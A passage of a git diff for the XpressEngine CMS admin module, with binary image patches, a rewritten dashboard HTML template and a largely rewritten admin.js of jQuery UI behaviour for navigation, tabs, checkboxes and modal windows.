z7}YKr02!~{g$gDagP5IJ^c&}Ny}OWw1-)&dgWY!5Y|p7=V1`kohUSYwKZcRuU|u%^!zSJBgH z)~Z#VH31=cyD9*owM7kpRU9xt&+#PV*%sCwQO787-rvAK&@M7LKw3Z;06C^Z3{;RX<_y^5_?Xttl|5YK=%ZNXOnc1+@Y8a(4DD`AMXKpyAX>t(X8dssu#Fb_uIs=G z`qJfF6~LvnTxBlisx!VynKnWh%-7fI3E89tEygQ55!-fgzpv!VbJst4`IpACVD`~! ziIaq4!I}nRn58uX=DlByyhcCS^x`p7JIppajAjtPm3X_uG}TQ*6^Jwoh?7suRYHBx zxxUW1tTEum1hloq0DWA`j1A7TDoSVPALholr8{9MC~DeN5|JX(+hj<)uB{i!>dCF0T%>T7%e6wSIBC`hBvGDBv_S$tT<+e_LfH>L zMd!y`ewwvt$5C`cs-1oBBvd7Zy`s? zX10;`%>tlCis#VShbR*m)gG*za6z^6E{Qp69!$Sn3E&@ejBNd-9iQ3M$LS^-89IZ8 z_oKY|n2*yR(D85o>Fao-cH{K;F6(v)6oZMRLVPer@d6T{ zS4y~A(ssM_vfca6<@fx%Gi7Gm?Y6%7Cue8&{4?i#=bZ09|34Dv9RKHVh#yIk>OOcL zh?IamE{EeV7+a@nT2#|@zsy*cuU?=f>BMcwCwa+`SLv3v(l>zV~^7RV^sV4A;Np&?*;WF&mwig@AQ!xOwJ#_5R?{SeElA4gskJ0Z`iI z21)w8t)pX0`+=7o=olQ2H*Q`|bN(!W(5wKM6?BlX zk7CithW3N6IC$>>xZzv~rO_s{dW&erb@q8GnbvayZ3kX*hNF>9#HkOfOE{Z>?|^1{ zU~tE=H$!ZA1ei(BN$q@5@~XPdc}Ca>2EbdI@W&TlP8W5(gH}gkP6m98eX_QzGr&p; zbXr3ye2EZvvuQj!=31}13;1(mgX@m@L64M|zbh<2q3lZ}cy=FW= zD~4X3nnAR!HQ!?wMEoOSqGS3=L_W(`5e>C<+`8nTp;KXj-b~PS>M)*8w1$n2|38 zFn8q&l!=K7SDa215=oJrwEa8)jOUZdkl#Z9ip9D{>p8XoC0?n0eUN-UI9Iozz!l*y zX#+sxM&{PtcK_y0;OT6IfHVq6k5*Dkq9zhh?%e~YOqm^y&(jsH-P5M0_vAtrIciD- zf4~Mn<@{8lZ(v94$;|;9X)+mT$t2W~k;)3G(Q2!8)d0;o7LOn`bT>^LIAsGsyL|Ud zIwO~c??Cx`u-v{yDR`kUZ5Ig|jV;e?c4n{Kfch|HC)_*?uRf4CVj=i9t-z)ZM-vY}?bKdLqbhYl->gBlt^8NRqW%D(cp(%2M58jRzNM08n{Bk|7 z6iU5xfZx3zm{`(x!3iR695_yOI}&b+xEr^1F>ydGj!i1>+H~CmMu< zB6avZP$(_+LHwCpwvX*OI06qgigY~)+i0=lrZvvhs zFmX5Oh$}8yRthz;3^`3+1^)bzoR3tPE*z#US0PiVI+oWefdCP-WWr}$y@rr~xJ1c~ z(hH+XrKy7WR!+GorsK5fd?_ENV!~-S6plTHW0#>9ZB?}Zpt7TAI4&4EZK03Te+3u- Xv6o-i>F@k500000NkvXXu0mjfybKqK diff --git a/modules/admin/tpl/img/msg.update.png b/modules/admin/tpl/img/msg.update.png deleted file mode 100644 index 598afd0a3edcad02ac7c08336b7dbafaf1516cad..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2161 zcmV-%2#)uOP)R~0_@&fJ;Z_4=`1 zKeLYG*lz5^t`oy6{A>qmBXcD(bvoIA7Ycii?@MwwmjJkI&fch33F3E`Z> z?K~*l=0g@Agpds%I@QG>Qd1WW*3`#Xd2AUi5@{%E>wF}zbw{^cTDe^chC@VADIqjx$OUd1 zuCt)&_FQ6!Maur`=&9qcePVv(-ZR#Q_K85T9s_UR9Uz58p^B27cRdzr-1(4Fv#l)u zAo>%ZxiEwk&lGrfi5D3+Cx>VC;q%X?E}VWcmDCb<^9r`K2`xibE1Fzhzl2~O? zOG)#t6T!yzJyZ=-5S`-UGb{{Jv=&%Z9Y~Q%{H^#eStdC1(_kgW!I^y@e``K9lmOO+ zn;q%zpTFFH^u~1R;ypbE-;jawFsmpiFMBkwscsM9F6DaC53YI#1a@=*i!}g|*_yP; zl`&8nTfv$f1LN{(u&-Yd;elM!N(0>9T`)88y{N8#2f&zG(*^nC`z!++%VYoXKq_t~OK$zUY zii(@KXAn~#Yr$OZ@T16TpuP4xu*L^+d0&!&MK>ze%B~|&(20x@y1dyz1SHZRG=dcs zHA%@#2j0230sv#QRbo=Wdl=tgn_CgF;uV}Vc^T~Zc|Xz>!z=$ccD{n0;iN$C`O~5> ziGQws6P)xkf)D@*P=zTnlUr9aKqU#9ux+S#kgyQ2iaM{=1f9n4DP%k;L}SSJw zYM%A%FJ)l8Jt7A}q_nObO1|`4Y`+lLb8(nEegspI@MCfvX} z{wIiBGR=tRldPCPWKAvPzobYE>1O_2L&LyzyzY88(U+EgDG$KaZ2n$3MH(m-oB;`z zg4}o?en*!%#n0?bu-`k0EX9|RAacG;nz5FZ=0o@`dnvQ0uV8_qPg&Fy@C^C_uh*6V zNE+@C4mp!aB;eU7DTBg;M}bu~uOL}}^B3Swph_|dWNiYx6wyt)L8GAW1gUBtI)4&awJ%^^3t#*ja(>;jDZI^VPVbc&Yix}Y{^7j-0h;;a*Q%Az z2167Fe{TD+7Q9I(WRz7mL(zjLz>4>y?7j|MyY5FHuEt^XX`CG$7t_$O1>e|S7dR|Qgb4<+m!8Hb!=N@lfQDqx z0o`^0)P`=cjQRjXwPV5McLWi+dG!S_`j6u^tU6@Vaa?;eVf7sE*H0&Ou-DxOk|t=+ z_UTW2B_xF#qUi(KzTXgQ^q**40_VnQtn7zy@n}aX6@Mv_*^2#+qm0|r17Hq4<3$d( z~yz9y!vx1S%-A5Z8!eanSJ94`+W?^c#b#~v)Yv8BTP*H$W4Jk$nz{3USa&f$i$ zA3^K|T7t^W3UURS0e*8B?8I5D__t7&Cy^E>r*)ivFmI2)d|~0(DEwCV=Y^&Sy!w~ZmfvN zu~2||MX-={Gt=|-6I)T^Ic* n28=G&!;PG-3*dGh{}*5Y7U{RlSLA0t00000NkvXXu0mjfc3KgJ diff --git a/modules/admin/tpl/img/preLoader16.gif b/modules/admin/tpl/img/preLoader16.gif deleted file mode 100644 index bce84bcc4519fd1b909f11505b64c1df43d6681a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1558 zcmZ?wbhEHb6krfwc+9|%l9qDh*pVmCo-A3m(>1F^{1z+r=+Yz@jthpYe=xOV}PrXo&hr>0|SHNPZmxt22KVYARB0?00RR{ zzQM_x*OZLaHw8pBO*L^b7W7)6kPxwR(gZE0a=}Dh#jFQ`3tBy!ey4gkGd3$;U})_* z*zj=57O~TrUxh=A#BQHDDwUDtF=NK!2L|48PM!-K_+@zdnU$u;UAWE0z`(|9=`5eh z+t{qEnl4n%#_lJG>4p}d$F^+Sa_8P1ps%J(nga33m1|dkJ_LFU=-ZsEoF|W-06li* z+?hA;-rTu$XU(cLATJOHSj!TW`uZQ+B+s%DcqLMBiHBEGb0Xv6-h&cbk33vvVZ*h& zG0{>$GH++d?!Os_Jq6dIh=ln^#vE*h3} z_<+ihrU1V{odvBLjYVpWQ7l(g4{&W;%IBE;sq3r|(;b6mfirw;hZ9$3>WJ|&GbCK_ z5o0>&bo#5;x}+6X=4{a8n8em-m8tNc(7-HNRNp&^Bd;ilse-q)qpHiUuvoe^w?C~p zZa@OO5*XkDjtYU1a5$;(f9c`bz`&y;E$Dhgfs3K9QRrbofCazOvAjkpTcwC3 z6NLa(9`@YB2@(~q{Oyku6DFMJbWik4yL0aI&xTw(d#-FHUS{67=GLZMwvNuc4(629 zS&+D%F;nGcPWfI!_r_m{*>$HeT))WyFx6;=RG=>?V%0!ctAaBI!;X z+JTbp2I7pKT+e47;o@Ulwb+w`X-#j}g((~oJfiEarSPytGOnBTA&GNUQgLHw-i%q& zOs(C10$qRZY>O(nP&p0#L zfYJHT`b-Y)4IGOY51U8`FgK()gcupbD9<~8OlMUZ z_Wt0X-WDMXR~~OX6Z2S@Uyw`Ch||r5pO3GqiK|T8nTMH=bt+qvV2z{Fl&KBXsr*x0 zHL(VG0i;X;26$A{*3v1eArG5Y2?=t^dhFP=r7E?f-`X`#tjDd$z=luZqCp}91J8mB zMjs2LIHtud%dpszaM;zsKv9E<%f;=1hQ$fagOQ2?1`>~&>=YaqFmseM^W@|eaO!38 zFgF(_M+tG47g!HSc$cGu_vURXe`dLzeDY|+eCEpszFTy9v9+z<<}BO3>gK111t%71 z2Okc6k(9r2op`sg4cE2&3o|NY)@iyq7*x542s+DbU@&lDFBfDNU||tpWawg4Vk_rj dW8vUnVXEaWQOc{DG=;OMKBAR{Jy4Os8UV|xFaZDn diff --git a/modules/admin/tpl/img/starRating.png b/modules/admin/tpl/img/starRating.png new file mode 100644 index 0000000000000000000000000000000000000000..49ee36d450c00f04a70c3ff6824b9f61c5064786 GIT binary patch literal 1055 zcmV+)1mOFLP)U7RYnw}9`EGA;t7F@l3-X@B^a8B!}tX9>t5 zB|Q*Dab`Xe7!GHK6#H;@2jBpJ`H!dF5Zbo6$@9D##%`xE=v`i3!rlFSw0I8A1$FG* zK{Liou)i|KPIlt(9cLDzNjBuQYs{!H^O#^dn?_3QN- zh)?pvx@e#3BgJ!H%Rs1{`(DjZp~h@8#f-8f9%iB?W}zwZ`@WySqn(QxA8r`_eCvrw z`1QCLS3;{y4~wIbKuU7q(9dZc*vbqBuFQ;E4(ug?nmw!KO7ygIA! z{vE(?Z=%KXb1b}$OwebqEcH*Kcc)9QqEZ3EkHPgR0qXR$3VCz_cp Z1^`J_*<%fhY7+ne002ovPDHLkV1mhh`lA2< literal 0 HcmV?d00001 diff --git a/modules/admin/tpl/img/toggleSwitch.png b/modules/admin/tpl/img/toggleSwitch.png new file mode 100644 index 0000000000000000000000000000000000000000..2a3111299d475a05f5c802ca499f493618feb3be GIT binary patch literal 2874 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 Y0Ni_@% literal 0 HcmV?d00001 diff --git a/modules/admin/tpl/index.html b/modules/admin/tpl/index.html index 3461b5005..163a5f38b 100644 --- a/modules/admin/tpl/index.html +++ b/modules/admin/tpl/index.html @@ -1,105 +1,209 @@ - -
                    -
                    -

                    {$XE_VALIDATOR_MESSAGE}

                    -
                    - -
                    - - + + + + + + + + +
                    +
                    +

                    {$lang->control_panel} {$lang->help}

                    +
                    +
                    +

                    {$XE_VALIDATOR_MESSAGE}

                    +
                    + + + +

                    {$lang->install_env_agreement}

                    {$lang->install_env_agreement_desc}

                    -
                    - - +
                    + +
                    - - -
                    +

                    {$lang->need_update_and_table}

                    {$lang->need_update}

                    {$lang->need_table}

                      - - -
                    • {$value->module} -
                    • - -
                    • {$value->module} -
                    • - - + +
                    • {$value->module} -
                    • +
                    • {$value->module} -
                    • +
                    - -
                    -
                    -

                    {$lang->current_state}

                    - +
                    +

                    {$lang->available_new_version}

                    + +
                    + +
                    +
                    +
                    +

                    {$lang->uv}

                    +
                    + +
                    +
                    +

                    {$lang->pv}

                    +
                    + +
                    +
                    -
                    -

                    {$lang->latest_documents}

                    - -
                    -
                    -

                    {$lang->latest_comments}

                    - -
                    -
                    -

                    {$lang->latest_trackbacks}

                    -
                      - -
                    • - {$value->title} {$value->blog_name} -
                      - - - - - -
                      -
                    • - -
                    • {$lang->no_data}
                    • -
                    +
                    +
                    +

                    {$lang->latest_documents}

                    + +

                    {$lang->more}

                    +
                    +
                    +

                    {$lang->latest_comments}

                    + +

                    {$lang->more}

                    +
                    - - + + diff --git a/modules/admin/tpl/js/admin.js b/modules/admin/tpl/js/admin.js index e6fdc4bcd..2675a5458 100644 --- a/modules/admin/tpl/js/admin.js +++ b/modules/admin/tpl/js/admin.js @@ -1,35 +1,216 @@ /* NHN (developers@xpressengine.com) */ +// install module +function doInstallModule(module) { + var params = new Array(); + params['module_name'] = module; + exec_xml('install','procInstallAdminInstall',params, completeInstallModule); +} + +// upgrade module +function doUpdateModule(module) { + var params = new Array(); + params['module_name'] = module; + exec_xml('install','procInstallAdminUpdate',params, completeInstallModule); +} + +function completeInstallModule(ret_obj) { + alert(ret_obj['message']); + location.reload(); +} + jQuery(function($){ - // Constants - var ESC_KEY = 27; +// iSO mobile device toolbar remove + window.scrollTo(0,0); +// TARGET toggle + $(document.body).on('click', '.x [data-toggle]', function(){ + var $this = $(this); + if($this.is('a') && $this.attr('href') != $this.attr('data-toggle')){ + var target = $this.attr('href'); + $this.attr('data-toggle', target); + } + var $target = $($this.attr('data-toggle')); + var focusable = 'a,input,button,textarea,select'; + $target.toggle(); + if($target.is(':visible') && !$target.find(focusable).length){ + $target.not(':disabled').attr('tabindex','0').focus(); + } else if($target.is(':visible') && $target.find(focusable).length) { + $target.not(':disabled').find(focusable).eq(0).focus(); + } else { + $this.focus(); + } + return false; + }); +// TARGET show + $(document.body).on('click', '.x [data-show]', function(){ + var $this = $(this); + if($this.is('a') && $this.attr('href') != $this.attr('data-show')){ + var target = $this.attr('href'); + $this.attr('data-show', target); + } + $($this.attr('data-show')).show().attr('tabindex','0').focus(); + return false; + }); +// TARGET hide + $(document.body).on('click', '.x [data-hide]', function(){ + var $this = $(this); + if($this.is('a') && $this.attr('href') != $this.attr('data-hide')){ + var target = $this.attr('href'); + $this.attr('data-hide', target); + } + $($this.attr('data-hide')).hide(); + $this.focus(); + return false; + }); +// Tab Navigation + $.fn.xeTabbable = function(){ + $(this).each(function(){ + var $this = $(this); + $this.find('>.x_nav-tabs>li>a').each(function(index){ + $(this).attr('data-index', index+1); + }); + $this.find('>.x_tab-content>.x_tab-pane').each(function(index){ + $(this).attr('data-index', index+1); + }); + }); + $('.x .x_tab-content>.x_tab-pane:not(".x_active")').hide(); + } + $('.x .x_tabbable').xeTabbable(); + $(document.body).on('click', '.x .x_nav-tabs>li>a[href^="#"]', function(){ + var $this = $(this); + if($this.parent('li').hasClass('x_disabled')){ + return false; + } + $this.parent('li').addClass('x_active').siblings().removeClass('x_active'); + $this.closest('.x_nav-tabs').next('.x_tab-content').find('>.x_tab-pane').eq($this.attr('data-index')-1).addClass('x_active').show().siblings('.x_tab-pane').removeClass('x_active').hide(); + $this.parents('.x_tabbable').trigger('tab_change', [parseInt($this.attr('data-index'))-1, $this]); + return false; + }); +// #content reflow + function reflow(){ // Browser bug fix & resize height + var $xBody = $('.x>.body'); + var $xGnb = $xBody.find('>.gnb'); + var $xContent = $xBody.children('#content.content'); + $xContent.width('99.99%'); + setTimeout(function(){ + $xContent.removeAttr('style'); + if($xGnb.height() > $xContent.height()){ + $xContent.height($xGnb.height()); + } + }, 100); + } +// GNB + $.fn.gnb = function(){ + var $xBody = $('.x>.body'); + var $xGnb = $xBody.find('>.gnb'); + var $xGnb_li = $xGnb.find('>ul>li'); - // Overlapping label - $('.form li').find('>input:text:not(".notmulti"),>input:password,>textarea') - .filter('input[value!=""],textarea:not(:empty)').prev('label').css('visibility','hidden').end().end() - .prev('label') - .addClass('overlap') - .css({top:'15px',left:'5px'}) - .next() - .focus(function(){ - var $label = $(this).prev().stop().animate({opacity:0, left:'25px'},'fast',function(){ $label.css('visibility','hidden') }); - }) - .blur(function(){ - var $this = $(this), $label; - if($.trim($this.val()) == '') { - $label = $this.prev().stop().css('visibility','visible').animate({opacity:1, left:'5px'},'fast'); - } - }) - .end() - .parent() - .css('position', 'relative'); + var d365 = new Date(); + d365.setTime(d365.getTime() + 60*60*24*356); - // Toogle checkbox all - $('.form th>input:checkbox') + // Add icon + $xGnb_li.find('>a').prepend(''); + $xGnb_li.find('>ul').prev('a').append(''); + // Active Submenu Copy + $xGnb_li.each(function(index){ + $(this).attr('data-index', index+1); + }); + var parentIndex = $xGnb_li.find('>ul>li.active_').closest('li.active').attr('data-index'); + $xGnb_li.find('>ul>li.active_').clone().addClass('active').attr('data-index', parentIndex).prependTo('#gnbNav').find('>a').prepend(''); + // GNB Click toggle + $xGnb_li.find('>a').click(function(){ + var $this = $(this); + var $parent = $(this).parent('li'); + var hasOpen = $parent.hasClass('open'); + var hasActive = $parent.hasClass('active'); + var hasList = $parent.find('>ul').length >= 1; + var hasWide = $xBody.hasClass('wide'); + function openGNB(){ + $xBody.removeClass('wide'); + reflow(); + } + if(!hasOpen && !hasActive && hasList){ // Down to open + $parent.addClass('open').find('>ul').slideDown(100); + openGNB(); + setCookie('__xe_admin_gnb_tx_' + $this.data('href'), 'open', d365); + return false; + } else if(hasOpen && !hasActive && hasList && !hasWide){ // Up to close + $parent.removeClass('open').find('>ul').slideUp(100); + openGNB(); + setCookie('__xe_admin_gnb_tx_' + $this.data('href'), 'close', d365); + return false; + } else if(hasWide && !hasList || hasActive || hasWide && hasOpen){ // Right to open + openGNB(); + return false; + } + }); + // GNB Mobile Toggle + $xGnb.find('>a[href="#gnbNav"]').click(function(){ + $(this).parent('.gnb').toggleClass('open'); + $xBody.toggleClass('wide'); + if($(window).width() <= 980 && !$xGnb.hasClass('open')){ + $('#gnbNav').removeClass('ex'); + } + reflow(); + + // remember status + if($(this).parent('.gnb').hasClass('open')){ + setCookie('__xe_admin_gnb_status', 'open', d365); + }else{ + setCookie('__xe_admin_gnb_status', 'close', d365); + } + return false; + }); + + // Expert Menu Toggle + $xGnb.find('.exMenu>button').click(function(){ + $('#gnbNav').toggleClass('ex'); + reflow(); + + // remember status + if($('#gnbNav').hasClass('ex')){ + setCookie('__xe_admin_gnb_ex_status', 'open', d365); + }else{ + setCookie('__xe_admin_gnb_ex_status', 'close', d365); + } + }); + + // re-create cookie + var gnb_status = getCookie('__xe_admin_gnb_status'); + if(gnb_status){ + setCookie('__xe_admin_gnb_status', gnb_status, d365); + } + var gnb_ex_status = getCookie('__xe_admin_gnb_ex_status'); + if(gnb_ex_status){ + setCookie('__xe_admin_gnb_xe_status', gnb_ex_status, d365); + } + if(typeof __xe_admin_gnb_txs != 'undefined'){ + for(var i in __xe_admin_gnb_txs){ + var item = __xe_admin_gnb_txs[i]; + var status = getCookie(item); + setCookie(item, status, d365); + } + } + }; + $('.gnb').gnb(); +// Default Language Selection + $('.x #lang') + .mouseleave(function(){ + $(this).hide(); + }) + .focusout(function(){ + var $this = $(this); + setTimeout(function(){ + if(!$this.find('a:focus').length){ + $this.mouseleave(); + } + }, 500); + }); +// Check All + $('.x th :checkbox') .change(function() { var $this = $(this), name = $this.data('name'); - $this.closest('table') - .find('input:checkbox') + .find(':checkbox') .filter(function(){ var $this = $(this); return !$this.prop('disabled') && (($this.attr('name') == name) || ($this.data('name') == name)); @@ -39,831 +220,1798 @@ jQuery(function($){ .end() .trigger('update.checkbox', [name, this.checked]); }); - - // pagination - $.fn.xePagination = function(){ - this - .not('.xe-pagination') - .addClass('xe-pagination') - .find('span.tgContent').css('whiteSpace', 'nowrap').end() - .find('a.tgAnchor') - .each(function(idx){ - var $this = $(this); - $this.after( $($this.attr('href')) ); - }) - .end(); - - return this; - }; - $('.pagination').xePagination(); - - // Portlet Action - $('.portlet .action') - .css({display:'none',position:'absolute'}) - .parent() - .mouseleave(function(){ $(this).find('>.action').fadeOut(100); }) - .mouseenter(function(){ $(this).find('>.action').fadeIn(100); }) - .focusin(function(){ $(this).mouseenter() }) - .focusout(function(){ - var $this = $(this), timer; - - clearTimeout($this.data('timer')); - timer = setTimeout(function(){ if(!$this.find(':focus').length) $this.mouseleave() }, 10); - - $this.data('timer', timer); - }); - - // Display the dashboard in two column - $(window).resize(function(){ - if($(document).width() < 1300){ - $('.dashboard>.section>br').remove(); - $('.dashboard>.section>.portlet:odd').after('
                    '); - } else { - $('.dashboard>.section>br').remove(); - $('.dashboard>.section>.portlet:eq(2),.dashboard>.section>.portlet:eq(5)').after('
                    '); +// Pagination + $(document.body).on('click', '.x .x_pagination .x_disabled, .x .x_pagination .x_active', function(){ + return false; + }); +// Section Toggle + if($('.x .section').length > 1){ + var $section_heading = $('.x .section').find('>h1:first'); + $section_heading.each(function(){ + var $this = $(this); + if($this.next().length){ + $this.append(''); + } + }); + $('.x .section.collapsed>h1>.snToggle').removeClass('x_icon-chevron-up').addClass('x_icon-chevron-down'); + $section_heading.find('>.snToggle').click(function(){ + var $this = $(this); + var $section = $this.closest('.section'); + if(!$section.hasClass('collapsed')){ + $section.addClass('collapsed'); + $this.removeClass('x_icon-chevron-up').addClass('x_icon-chevron-down'); + } else { + $section.removeClass('collapsed'); + $this.removeClass('x_icon-chevron-down').addClass('x_icon-chevron-up'); + } + reflow(); + }); + } +// Alert Closer + var $xAlert = $('.x .x_alert'); + $xAlert.prepend(''); + $xAlert.children('.x_close').click(function(){ + $(this).parent('.x_alert').hide(); + }); +// Desabled Buttons + $('.x .x_btn').click(function(){ + if($(this).hasClass('x_disabled')){ + return false; } }); - $(window).resize(); - - // Popup list : 'Move to site' and 'Site map' - $('.header>.siteTool>a.i') - .bind('before-open.tc', function(){ - $(this) - .addClass('active') - .next('div.tgContent') - .find('>.section:gt(0)').hide().end() - .find('>.btnArea>button').show(); - }) - .bind('after-close.tc', function(){ - $(this).removeClass('active'); - }) - .next('#siteMapList') - .find('>.section:last') - .after('

                    ') - .find('+p>button') - .click(function(){ - // Display all sections then hide this button - $(this).hide().parent().prevAll('.section').show(); - }); - - $.fn.xeMask = function(){ - this - .each(function(){ - var $this = $(this), text = $this.text(); - var reg_mail = /^([\w\-\.]+?)@(([\w-]+\.)+[a-z]{2,})$/ig; - - if(reg_mail.test(text)) { - $this - .html(text.replace(/(@.+)$/, '...$1')) - .find('>.ellipsis') - .css({position:'absolute',zIndex:1}) - .hover( - function(){ $(this).next('.cover').mouseover() }, - function(){ $(this).next('.cover').mouseout() } - ) - .end() - .find('>.cover') - .css({zIndex:2,opacity:0}) - .hover( - function(){ $(this).css('opacity',1).prev('span').css('visibility','hidden') }, - function(){ $(this).css('opacity',0).prev('span').css('visibility','visible') } - ) - .end(); - } - }) +// Vertical Divider + $.fn.vr = function(){ + this.each(function(){ + var $this = $(this); + if($this.text() == '|'){ + $this.addClass('vr').filter(':first-child, :last-child').remove(); + } + }); }; - $('.masked').xeMask(); -}); - -// Global Navigation Bar -jQuery(function($){ - - $.fn.xeMenu = function(){ - this - .attr('role', 'navigation') // WAI-ARIA role - .find('>.nav-gnb>li') - .attr('role', 'menuitem') // WAI-ARIA role - .filter(':has(>ul)') - .attr('aria-haspopup', 'true') // WAI-ARIA - .end() - .end() - .find('>.nav-gnb') - .mouseover(function(){ - $(this) - .parent('.gnb').addClass('active').end() - .find('>li>ul').css('height','auto').end() - }) - .mouseleave(function(){ - $(this) - .parent('.gnb').removeClass('active').end() - .find('>li>ul').css('height','0').end() - }) - .focusout(function(){ - var $this = $(this); - setTimeout(function(){ - if(!$this.find(':focus').length) { - $this.mouseleave(); - } - }, 1); - }) - .delegate('a', { - focus : function(){ - $(this).mouseover(); - } - }); + $('.x i').vr(); +// label[for] + input[id]/textarea[id]/select[id] creator + $.fn.labelMaker = function(){ + this.each(function(index){ + index = index + 1; + var $this = $(this); + var input = 'input, textarea, select'; + var check = ':radio, :checkbox'; + var id = '[id]'; + var value = 'i' + index; + if($this.next(input).filter(id).not(check).length){ + // next input, textarea, select id true + $this.attr('for', $this.next().attr('id')); + } else if ($this.next(input).not(id).not(check).length) { + // next input, textarea, select id false + $this.attr('for', value).next().attr('id', value); + } else if ($this.prev(check).filter(id).length) { + // prev :radio :checkbox id true + $this.attr('for', $this.prev().attr('id')); + } else if ($this.prev(check).not(id).length) { + // prev :radio :checkbox id false + $this.attr('for', value).prev().attr('id', value); + } else if ($this.children(input).filter(id).length) { + // children id true + $this.attr('for', $this.children(input).filter(id).eq(0).attr('id')); + } else if ($this.children(input).not(id).length) { + // children id false + $this.attr('for', value).children(input).not(id).eq(0).attr('id', value); + } + }); }; - - $('div.gnb').xeMenu(); - - $('.gnb>.mnv').change(function(){ - window.location.href=$(this).find('option:selected').val(); - }); - + $('label:not([for])').labelMaker(); +// :radio, :checkbox checked class + $.fn.checkToggle = function(){ + function check(){ + setTimeout(function(){ + $(':checked').parent('label').addClass('checked'); + $(':not(":checked")').parent('label').removeClass('checked'); + },0); + } + this.change(check); + check(); + }; + $(':radio, :checkbox').checkToggle(); +// File input .overlap style + $.fn.fileTypeOverlap = function(){ + this.each(function(){ + var $this = $(this); + $this.wrap('').before($this.attr('title')); + }); + }; + $('input[type="file"].overlap').fileTypeOverlap(); +// Table Col Span + $.fn.tableSpan = function(){ + this.each(function(){ + var $this = $(this); + var thNum = $this.find('>thead>tr:eq(0)>th').length; + var $tdTarget = $this.find('>tbody>tr:eq(0)>td:only-child'); + if(thNum != $tdTarget.attr('colspan')){ + $tdTarget.attr('colspan', thNum).css('text-align','center'); + } + }); + }; + $('table').tableSpan(); }); - - // Modal Window jQuery(function($){ + var ESC = 27; + var xeModalStack = new Array(); + var xeModalInitailZIndex = 1040; -var ESC = 27; + // modal backdrop + var $xeModalBackdrop = $('
                    ').appendTo('body').hide(); -$.fn.xeModalWindow = function(){ - this - .not('.xe-modal-window') - .addClass('xe-modal-window') - .each(function(){ - $( $(this).attr('href') ).addClass('x').hide(); - }) - .click(function(){ - var $this = $(this), $modal, $btnClose, disabled; + $.fn.xeModalWindow = function(){ + this + .not('.xe-modal-window') + .addClass('xe-modal-window') + .each(function(){ + $( $(this).attr('href') ).addClass('x').hide(); + }) + .click(function(){ + var $this = $(this), $modal, $btnClose, disabled; - // get and initialize modal window - $modal = $( $this.attr('href') ); - if(!$modal.parent('body').length) { - $btnClose = $(''); - $btnClose.click(function(){ $modal.data('anchor').trigger('close.mw') }); + // get and initialize modal window + $modal = $( $this.attr('href') ); + + if($modal.data('state') == 'showing') { + $this.trigger('close.mw'); + } else { + $this.trigger('open.mw'); + } + return false; + }) + .bind('open.mw', function(){ + var $this = $(this), $modal, $btnClose, disabled, before_event, duration; + + // get modal window + $modal = $( $this.attr('href') ); + + // if stack top is this modal, ignore + 